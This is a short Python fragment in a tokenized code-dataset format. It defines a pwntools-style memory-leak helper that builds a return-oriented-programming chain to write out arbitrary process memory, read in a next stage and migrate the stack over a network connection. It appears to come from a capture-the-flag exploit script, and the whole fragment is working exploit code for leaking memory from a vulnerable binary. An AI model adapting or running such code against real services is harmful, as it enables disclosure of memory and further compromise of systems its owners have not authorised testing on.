#NEWLINE# @ MemLeak #NEWLINE# def leak( addr , length = 256 ) : #NEWLINE# #INDENT# global cur_addr #NEWLINE# rop = myrop ( cur_addr ) #NEWLINE# cur_addr = ( addrs [ 1 ] if ( cur_addr == addrs [ 0 ] ) else addrs [ 0 ] ) #NEWLINE# rop . write ( 1 , addr , length ) #NEWLINE# rop . read ( 0 , cur_addr , 256 ) #NEWLINE# rop . migrate ( cur_addr ) #NEWLINE# r . send ( str ( rop ) ) #NEWLINE# return r . recvn ( length )